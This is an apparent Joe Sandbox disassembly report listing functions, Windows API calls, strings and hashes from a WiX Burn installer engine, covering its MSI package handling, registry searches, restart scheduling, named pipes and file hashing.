___delayLoadHelper2@8.DELAYIMP ref: 009E966B

Part of subcall function 009E998C: DloadReleaseSectionWriteAccess.DELAYIMP ref: 009E9A09
Part of subcall function 009E998C: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 009E9A1A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 890eba2e32dff7b76c5fcec98b987fca0f5484c49f560005720aee5087a378a2
Instruction ID: dcebb015e21ee6a4cbfcc8b1787dcd726eef1c25102ca6330940ede57e5c0768
Opcode Fuzzy Hash: 890eba2e32dff7b76c5fcec98b987fca0f5484c49f560005720aee5087a378a2
Instruction Fuzzy Hash: 6BB012913687467CB64562163C03D37010CC3C4F11330C91FB800C10D2E8440C040336

Function 009A14B6 Relevance: 1.3, APIs: 1, Instructions: 57stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,00000000,?,?,009A21A8,?,00000000,?,00000000,?,009A390C,00000000,?,00000104), ref: 009A14E8

Part of subcall function 009A3BD3: GetProcessHeap.KERNEL32(00000000,000001C7,?,009A21CC,000001C7,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3BDB
Part of subcall function 009A3BD3: HeapSize.KERNEL32(00000000,?,009A21CC,000001C7,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3BE2

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$ProcessSizelstrlen
String ID:
API String ID: 3492610842-0
Opcode ID: 07d3e56aa9d874ed1409cb2dc924de9c299392f7f9761f050b78d90ce19a1821
Instruction ID: 3878d7ade3c379ba5d33768f110489ce469fde5729890640229151f717a25376
Opcode Fuzzy Hash: 07d3e56aa9d874ed1409cb2dc924de9c299392f7f9761f050b78d90ce19a1821
Instruction Fuzzy Hash: 72012D37600219ABCF115E58DCC4F9A77EADF8A760F114215FA165B161D731DC008AE4

Non-executed Functions

Function 009AA8F1 Relevance: 172.2, APIs: 29, Strings: 69, Instructions: 688COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 009AB11C

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

CompareStringW.KERNEL32(0000007F,00000000,009ECA9C,000000FF,DirectorySearch,000000FF,009ECA9C,Condition,feclient.dll,009ECA9C,Variable,?,009ECA9C,009ECA9C,?,?), ref: 009AAA29
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,exists,000000FF,?,Type,?,?,Path,clbcatq.dll), ref: 009AAA7E
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,path,000000FF), ref: 009AAA9A
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,FileSearch,000000FF), ref: 009AAABE
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,exists,000000FF,?,Type,?,?,Path,clbcatq.dll), ref: 009AAB11
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,version,000000FF), ref: 009AAB2B
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,RegistrySearch,000000FF), ref: 009AAB53
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,HKCR,000000FF,?,Root,?), ref: 009AAB91
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,HKCU,000000FF), ref: 009AABB0
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,HKLM,000000FF), ref: 009AABCF
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,exists,000000FF,?,Win64,msi.dll,?,Type,?,?,Value,version.dll,?), ref: 009AAC8D
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,value,000000FF), ref: 009AACA7

Part of subcall function 009E32F3: VariantInit.OLEAUT32(?), ref: 009E3309
Part of subcall function 009E32F3: SysAllocString.OLEAUT32(?), ref: 009E3325
Part of subcall function 009E32F3: VariantClear.OLEAUT32(?), ref: 009E33AC
Part of subcall function 009E32F3: SysFreeString.OLEAUT32(00000000), ref: 009E33B7

CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,numeric,000000FF,?,VariableType,?,?,ExpandEnvironment,cabinet.dll), ref: 009AAD06
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,string,000000FF), ref: 009AAD28
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,version,000000FF), ref: 009AAD48
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,directory,000000FF), ref: 009AAE20
SysFreeString.OLEAUT32(?), ref: 009AAFFE

Strings

Failed to get Key attribute., xrefs: 009AB06E
Path, xrefs: 009AAA3B, 009AAACE
FileSearch, xrefs: 009AAAB1
Failed to get @VariableType., xrefs: 009AB064
Variable, xrefs: 009AA9DE
Failed to get Value attribute., xrefs: 009AB03C
Failed to select search nodes., xrefs: 009AA920
clbcatq.dll, xrefs: 009AAA3A, 009AAACD, 009AAD83, 009AAF75
cabinet.dll, xrefs: 009AACBA
DirectorySearch, xrefs: 009AAA1A
Failed to get next node., xrefs: 009AB0EB
Failed to get @ProductCode., xrefs: 009AB0BE
Failed to get @Id., xrefs: 009AB0E4
Invalid value for @VariableType: %ls, xrefs: 009AB05D
Failed to get @Variable., xrefs: 009AB0DD
numeric, xrefs: 009AACF7
Failed to get @Type., xrefs: 009AB0B0
Failed to get @ComponentId., xrefs: 009AB086
Failed to get @Root., xrefs: 009AB07F
Failed to get @Condition., xrefs: 009AB028
Root, xrefs: 009AAB69
search.cpp, xrefs: 009AA973
Win64, xrefs: 009AAC5D
comres.dll, xrefs: 009AADA6, 009AAE5B, 009AAE8B, 009AAF90
UpgradeCode, xrefs: 009AAE8C
HKCR, xrefs: 009AAB82
directory, xrefs: 009AAE13
string, xrefs: 009AAD1B
Failed to get @ExpandEnvironment., xrefs: 009AB050
exists, xrefs: 009AAA6F, 009AAB02, 009AAC7E
ProductCode, xrefs: 009AAD84, 009AAE5C, 009AAF76
FeatureId, xrefs: 009AAF91
Failed to get @UpgradeCode., xrefs: 009AB08D
state, xrefs: 009AADF7, 009AAF13, 009AAFC5
Failed to get @Path., xrefs: 009AB032
HKCU, xrefs: 009AABA3
Value, xrefs: 009AAC1F
wininet.dll, xrefs: 009AAC03
feclient.dll, xrefs: 009AA9F8
msi.dll, xrefs: 009AAC5C
value, xrefs: 009AAC9A
path, xrefs: 009AAA8D, 009AAB3A
`<u, xrefs: 009AAFFE, 009AB11C
Failed to allocate memory for search structs., xrefs: 009AA97D
VariableType, xrefs: 009AACDE
HKU, xrefs: 009AABE1
Condition, xrefs: 009AA9F9
keyPath, xrefs: 009AADDB
Type, xrefs: 009AAA56, 009AAAE9, 009AAC42, 009AADC2, 009AAEC2, 009AAFAC
MsiFeatureSearch, xrefs: 009AAF53
Invalid value for @Type: %ls, xrefs: 009AB0A1
Invalid value for @Root: %ls, xrefs: 009AB078
MsiProductSearch, xrefs: 009AAE39
Failed to get search node count., xrefs: 009AA945
DirectorySearch|FileSearch|RegistrySearch|MsiComponentSearch|MsiProductSearch|MsiFeatureSearch, xrefs: 009AA90D
RegistrySearch, xrefs: 009AAB46
Failed to get @ProductCode or @UpgradeCode., xrefs: 009AB094
Failed to get @FeatureId., xrefs: 009AB0B7
HKLM, xrefs: 009AABC2
language, xrefs: 009AAEF7
ExpandEnvironment, xrefs: 009AACBB
ComponentId, xrefs: 009AADA7
assignment, xrefs: 009AAF2D
Unexpected element name: %ls, xrefs: 009AB0CD
Failed to get Win64 attribute., xrefs: 009AB046
version, xrefs: 009AAB1E, 009AAD3B, 009AAEDB
Key, xrefs: 009AAC04
version.dll, xrefs: 009AAC1E
MsiComponentSearch, xrefs: 009AAD61

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$Compare$Free$HeapVariant$AllocAllocateClearInitProcess
String ID: ComponentId$Condition$DirectorySearch$DirectorySearch|FileSearch|RegistrySearch|MsiComponentSearch|MsiProductSearch|MsiFeatureSearch$ExpandEnvironment$Failed to allocate memory for search structs.$Failed to get @ComponentId.$Failed to get @Condition.$Failed to get @ExpandEnvironment.$Failed to get @FeatureId.$Failed to get @Id.$Failed to get @Path.$Failed to get @ProductCode or @UpgradeCode.$Failed to get @ProductCode.$Failed to get @Root.$Failed to get @Type.$Failed to get @UpgradeCode.$Failed to get @Variable.$Failed to get @VariableType.$Failed to get Key attribute.$Failed to get Value attribute.$Failed to get Win64 attribute.$Failed to get next node.$Failed to get search node count.$Failed to select search nodes.$FeatureId$FileSearch$HKCR$HKCU$HKLM$HKU$Invalid value for @Root: %ls$Invalid value for @Type: %ls$Invalid value for @VariableType: %ls$Key$MsiComponentSearch$MsiFeatureSearch$MsiProductSearch$Path$ProductCode$RegistrySearch$Root$Type$Unexpected element name: %ls$UpgradeCode$Value$Variable$VariableType$Win64$`<u$assignment$cabinet.dll$clbcatq.dll$comres.dll$directory$exists$feclient.dll$keyPath$language$msi.dll$numeric$path$search.cpp$state$string$value$version$version.dll$wininet.dll
API String ID: 2748437055-56916464
Opcode ID: 2605b69b706197a4cb84556c6bd3b3b1e858f94bdbcca385b87f09a02f90954d
Instruction ID: 76cf64da7d93db8efde01e27ab8ff6aed2ced086eb2c2f4e334d1b6ef0231377
Opcode Fuzzy Hash: 2605b69b706197a4cb84556c6bd3b3b1e858f94bdbcca385b87f09a02f90954d
Instruction Fuzzy Hash: 8E22C531D4827ABBDB228AA58C46F6F7A64AB46734F304310F630B72D5DB70AE40D6D1

Function 009C41EA Relevance: 43.0, Strings: 34, Instructions: 498COMMON

Download Yara Rule

Strings

REBOOT=ReallySuppress, xrefs: 009C45A0, 009C476C
VersionString, xrefs: 009C428E, 009C42EF
Failed to add obfuscated properties to argument string., xrefs: 009C4497
IGNOREDEPENDENCIES, xrefs: 009C46A5, 009C4784
Failed to add feature action properties to argument string., xrefs: 009C44B9
Failed to add reinstall mode and reboot suppression properties on minor upgrade., xrefs: 009C460C
%ls %ls=ALL, xrefs: 009C46B6, 009C4795
WixBundleExecutePackageAction, xrefs: 009C43B7, 009C48B4
Failed to run maintanance mode for MSI package., xrefs: 009C46F6
Failed to add reinstall mode and reboot suppression properties on repair., xrefs: 009C469B
msasn1.dll, xrefs: 009C440B
Failed to add reboot suppression property on uninstall., xrefs: 009C477D
Failed to get cached path for package: %ls, xrefs: 009C434F
Failed to add feature action properties to obfuscated argument string., xrefs: 009C44DB
Failed to perform minor upgrade of MSI package., xrefs: 009C4638
feclient.dll, xrefs: 009C42C5, 009C434D, 009C441D, 009C454B, 009C47D8
Failed to add reinstall all property on minor upgrade., xrefs: 009C45EA
Failed to uninstall MSI package., xrefs: 009C47EF
Failed to install MSI package., xrefs: 009C4746
Failed to add ADMIN property on admin install., xrefs: 009C471E
Failed to add reboot suppression property on install., xrefs: 009C45BB
%ls%ls REINSTALLMODE="cmus%ls" REBOOT=ReallySuppress, xrefs: 009C4687
REINSTALL=ALL, xrefs: 009C45D3, 009C464D
ACTION=ADMIN, xrefs: 009C4709
Failed to initialize external UI handler., xrefs: 009C43F4
Failed to enable logging for package: %ls to: %ls, xrefs: 009C441F
crypt32.dll, xrefs: 009C440A
Failed to add the list of dependencies to ignore to the properties., xrefs: 009C46CA
Failed to add properties to argument string., xrefs: 009C4463
Failed to build MSI path., xrefs: 009C439D
Failed to add patch properties to obfuscated argument string., xrefs: 009C451F
Failed to add patch properties to argument string., xrefs: 009C44FD
WixBundleExecutePackageCacheFolder, xrefs: 009C436A, 009C48A4
REINSTALLMODE="vomus" REBOOT=ReallySuppress, xrefs: 009C45F5

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID: ACTION=ADMIN$ REBOOT=ReallySuppress$ REINSTALL=ALL$ REINSTALLMODE="vomus" REBOOT=ReallySuppress$%ls %ls=ALL$%ls%ls REINSTALLMODE="cmus%ls" REBOOT=ReallySuppress$Failed to add ADMIN property on admin install.$Failed to add feature action properties to argument string.$Failed to add feature action properties to obfuscated argument string.$Failed to add obfuscated properties to argument string.$Failed to add patch properties to argument string.$Failed to add patch properties to obfuscated argument string.$Failed to add properties to argument string.$Failed to add reboot suppression property on install.$Failed to add reboot suppression property on uninstall.$Failed to add reinstall all property on minor upgrade.$Failed to add reinstall mode and reboot suppression properties on minor upgrade.$Failed to add reinstall mode and reboot suppression properties on repair.$Failed to add the list of dependencies to ignore to the properties.$Failed to build MSI path.$Failed to enable logging for package: %ls to: %ls$Failed to get cached path for package: %ls$Failed to initialize external UI handler.$Failed to install MSI package.$Failed to perform minor upgrade of MSI package.$Failed to run maintanance mode for MSI package.$Failed to uninstall MSI package.$IGNOREDEPENDENCIES$VersionString$WixBundleExecutePackageAction$WixBundleExecutePackageCacheFolder$crypt32.dll$feclient.dll$msasn1.dll
API String ID: 0-2033600224
Opcode ID: 56a5a31f2ebccc795c13438aec6d1e83ca9cbfebcfb5cb98e5b083694d2d11b2
Instruction ID: d829e7f5e8d25f5d1c00274b701f42829d57ace1283cc13814f164d2c0b55def
Opcode Fuzzy Hash: 56a5a31f2ebccc795c13438aec6d1e83ca9cbfebcfb5cb98e5b083694d2d11b2
Instruction Fuzzy Hash: D502C571E00669AFDB229F54CD51FA977AABF84714F0041A9FA08A7251D732DEA0CF81

Function 009E1719 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 337COMMON

Download Yara Rule

APIs

InitializeSecurityDescriptor.ADVAPI32(?,00000001), ref: 009E17B1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E17BB
CreateWellKnownSid.ADVAPI32(0000001A,00000000,?,?), ref: 009E1808
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E180E
CreateWellKnownSid.ADVAPI32(00000017,00000000,?,?), ref: 009E1848
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E184E
CreateWellKnownSid.ADVAPI32(00000018,00000000,?,?), ref: 009E188E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E1894
CreateWellKnownSid.ADVAPI32(00000010,00000000,?,?), ref: 009E18D4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E18DA
CreateWellKnownSid.ADVAPI32(00000016,00000000,?,?), ref: 009E191A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E1920
SetEntriesInAclA.ADVAPI32(00000005,?,00000000,?), ref: 009E1A11
SetSecurityDescriptorOwner.ADVAPI32(?,?,00000000), ref: 009E1A4B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E1A55
SetSecurityDescriptorGroup.ADVAPI32(?,?,00000000), ref: 009E1A8D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E1A97
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 009E1AD0
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009E1ADA
CoInitializeSecurity.OLE32(?,000000FF,00000000,00000000,00000006,00000002,00000000,00003000,00000000), ref: 009E1B18
LocalFree.KERNEL32(?), ref: 009E1B2E

Strings

srputil.cpp, xrefs: 009E17DC

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CreateKnownSecurityWell$Descriptor$Initialize$DaclEntriesFreeGroupLocalOwner
String ID: srputil.cpp
API String ID: 267631441-4105181634
Opcode ID: 3dc028ec0dcd69c47b3c23f23de08770962e850f037ce381056e8c1b97cb9109
Instruction ID: 58bead1bd884e66a9d819bcc6a72509b54b807260b85b21bda28f0b9d1455327
Opcode Fuzzy Hash: 3dc028ec0dcd69c47b3c23f23de08770962e850f037ce381056e8c1b97cb9109
Instruction Fuzzy Hash: 66C13376D4127DABD7318B969C48BDFFABCBF44750F0105AAA905BB250E7709E408EA0

Function 009CC332 Relevance: 37.1, APIs: 1, Strings: 20, Instructions: 376COMMON

Download Yara Rule

Strings

Failed to copy filename for pseudo bundle., xrefs: 009CC417
Failed to copy uninstall arguments for related bundle package, xrefs: 009CC623
Failed to copy install arguments for related bundle package, xrefs: 009CC584
-%ls, xrefs: 009CC34C
Failed to copy display name for pseudo bundle., xrefs: 009CC74F
Failed to copy key for pseudo bundle., xrefs: 009CC542
Failed to allocate memory for pseudo bundle payload hash., xrefs: 009CC4AD
Failed to copy version for pseudo bundle., xrefs: 009CC72D
Failed to append relation type to install arguments for related bundle package, xrefs: 009CC5A9
Failed to copy repair arguments for related bundle package, xrefs: 009CC5D0
Failed to allocate space for burn package payload inside of related bundle struct, xrefs: 009CC385
Failed to allocate memory for dependency providers., xrefs: 009CC6DE
Failed to append relation type to repair arguments for related bundle package, xrefs: 009CC5F1
pseudobundle.cpp, xrefs: 009CC379, 009CC3B2, 009CC4A1, 009CC6D2
Failed to copy local source path for pseudo bundle., xrefs: 009CC43B
Failed to copy key for pseudo bundle payload., xrefs: 009CC3F3
Failed to allocate space for burn payload inside of related bundle struct, xrefs: 009CC3BE
Failed to copy cache id for pseudo bundle., xrefs: 009CC55F
Failed to copy download source for pseudo bundle., xrefs: 009CC469
Failed to append relation type to uninstall arguments for related bundle package, xrefs: 009CC644

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: -%ls$Failed to allocate memory for dependency providers.$Failed to allocate memory for pseudo bundle payload hash.$Failed to allocate space for burn package payload inside of related bundle struct$Failed to allocate space for burn payload inside of related bundle struct$Failed to append relation type to install arguments for related bundle package$Failed to append relation type to repair arguments for related bundle package$Failed to append relation type to uninstall arguments for related bundle package$Failed to copy cache id for pseudo bundle.$Failed to copy display name for pseudo bundle.$Failed to copy download source for pseudo bundle.$Failed to copy filename for pseudo bundle.$Failed to copy install arguments for related bundle package$Failed to copy key for pseudo bundle payload.$Failed to copy key for pseudo bundle.$Failed to copy local source path for pseudo bundle.$Failed to copy repair arguments for related bundle package$Failed to copy uninstall arguments for related bundle package$Failed to copy version for pseudo bundle.$pseudobundle.cpp
API String ID: 1357844191-2832335422
Opcode ID: edc1218ac99a508f9979c213341b551fca5e5295bf8d81dd9b56ce064cebfe61
Instruction ID: a70a3c1b90aedb882a8a3f0e571dd2df9c88a8b8d1e12dfe0d11481d90e2b878
Opcode Fuzzy Hash: edc1218ac99a508f9979c213341b551fca5e5295bf8d81dd9b56ce064cebfe61
Instruction Fuzzy Hash: 27C1E1B1E0465ABBCB15CF28C891F6A7BA9FF48714B00852AF909EB351D770EC109BD1

Function 009A45EE Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 141sleepshutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,?,00000001,00000000,?,?,?,?,?,?,?), ref: 009A4617
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 009A461E
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 009A4628
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 009A4678
GetLastError.KERNEL32 ref: 009A4682
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 009A46C6
GetLastError.KERNEL32 ref: 009A46D0
Sleep.KERNEL32(000003E8), ref: 009A470C
InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000001,80040002), ref: 009A471D
GetLastError.KERNEL32 ref: 009A4727
CloseHandle.KERNEL32(?), ref: 009A477D

Strings

engine.cpp, xrefs: 009A464C, 009A46A6, 009A46F4, 009A475E
Failed to schedule restart., xrefs: 009A4768
Failed to get process token., xrefs: 009A4656
Failed to get shutdown privilege LUID., xrefs: 009A46B0
SeShutdownPrivilege, xrefs: 009A466B
Failed to adjust token to add shutdown privileges., xrefs: 009A46FE

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$ProcessToken$AdjustCloseCurrentHandleInitiateLookupOpenPrivilegePrivilegesShutdownSleepSystemValue
String ID: Failed to adjust token to add shutdown privileges.$Failed to get process token.$Failed to get shutdown privilege LUID.$Failed to schedule restart.$SeShutdownPrivilege$engine.cpp
API String ID: 2241679041-1583736410
Opcode ID: 66e6d959539e4b834b6163974e0ebbe28d832297ac93afd9449b10bcf71d23d0
Instruction ID: a618d5ebf389a7593c6f1d631377d1f9a80f9ab2af7c130643bc60b881d65991
Opcode Fuzzy Hash: 66e6d959539e4b834b6163974e0ebbe28d832297ac93afd9449b10bcf71d23d0
Instruction Fuzzy Hash: CC413D73E50379ABDB219BE58C86B7F766CAB83755F110125FE00FB190D7A45D0045E1

Function 009B4EDF Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 165pipeCOMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGW0x00100000;;;WD),00000001,?,00000000), ref: 009B4F0D
GetLastError.KERNEL32(?,00000000,?,?,009A452F,?), ref: 009B4F16
CreateNamedPipeW.KERNEL32(000000FF,00080003,00000000,00000001,00010000,00010000,00000001,?,?,00000000,?,?,009A452F,?), ref: 009B4FB8
GetLastError.KERNEL32(?,009A452F,?), ref: 009B4FC5
CreateNamedPipeW.KERNEL32(000000FF,00080003,00000000,00000001,00010000,00010000,00000001,00000000,?,?,?,?,?,?,?,009A452F), ref: 009B5040
GetLastError.KERNEL32(?,?,?,?,?,?,?,009A452F,?), ref: 009B504B
CloseHandle.KERNEL32(00000000,pipe.cpp,00000132,00000000,?,?,?,?,?,?,?,009A452F,?), ref: 009B508B
LocalFree.KERNEL32(00000000,?,009A452F,?), ref: 009B50B9

Strings

D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGW0x00100000;;;WD), xrefs: 009B4F08
Failed to create the security descriptor for the connection event and pipe., xrefs: 009B4F44
Failed to allocate full name of pipe: %ls, xrefs: 009B4F84
pipe.cpp, xrefs: 009B4F3A, 009B4FE9, 009B506F
Failed to create pipe: %ls, xrefs: 009B4FF6, 009B507C
Failed to allocate full name of cache pipe: %ls, xrefs: 009B5022
\\.\pipe\%ls, xrefs: 009B4F6E
\\.\pipe\%ls.Cache, xrefs: 009B500C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CreateDescriptorNamedPipeSecurity$CloseConvertFreeHandleLocalString
String ID: D:(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGW0x00100000;;;WD)$Failed to allocate full name of cache pipe: %ls$Failed to allocate full name of pipe: %ls$Failed to create pipe: %ls$Failed to create the security descriptor for the connection event and pipe.$\\.\pipe\%ls$\\.\pipe\%ls.Cache$pipe.cpp
API String ID: 1214480349-3253666091
Opcode ID: e2ad58dbacda48328d48cae3cc6612755453209764ed98bc4bdd70593f33272f
Instruction ID: ed5b5eed7e4bdc793cd62504c816a1f5ae125b395760bbadb944a8ff209e14d4
Opcode Fuzzy Hash: e2ad58dbacda48328d48cae3cc6612755453209764ed98bc4bdd70593f33272f
Instruction Fuzzy Hash: B151C432D4162ABBDB21AB948E46BEEBB68AF44730F110121FE14BB191D3B55E409BD1

Function 009DFA62 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 173encryptionfileCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000003,F0000040,00000003,00000000,00000000,009B9F04,00000003,000007D0,00000003,?,000007D0,00000000,000007D0), ref: 009DFAC7
GetLastError.KERNEL32 ref: 009DFAD1
CryptCreateHash.ADVAPI32(?,?,00000000,00000000,?), ref: 009DFB0E
GetLastError.KERNEL32 ref: 009DFB18
CryptHashData.ADVAPI32(?,?,?,00000000), ref: 009DFB5F
ReadFile.KERNEL32(00000000,?,00001000,?,00000000), ref: 009DFB83
GetLastError.KERNEL32 ref: 009DFB8D
CryptDestroyHash.ADVAPI32(00000000), ref: 009DFBCA
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 009DFBE1
GetLastError.KERNEL32 ref: 009DFBFC
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000), ref: 009DFC34
GetLastError.KERNEL32 ref: 009DFC3E
SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00008004,00000001), ref: 009DFC77
GetLastError.KERNEL32 ref: 009DFC85

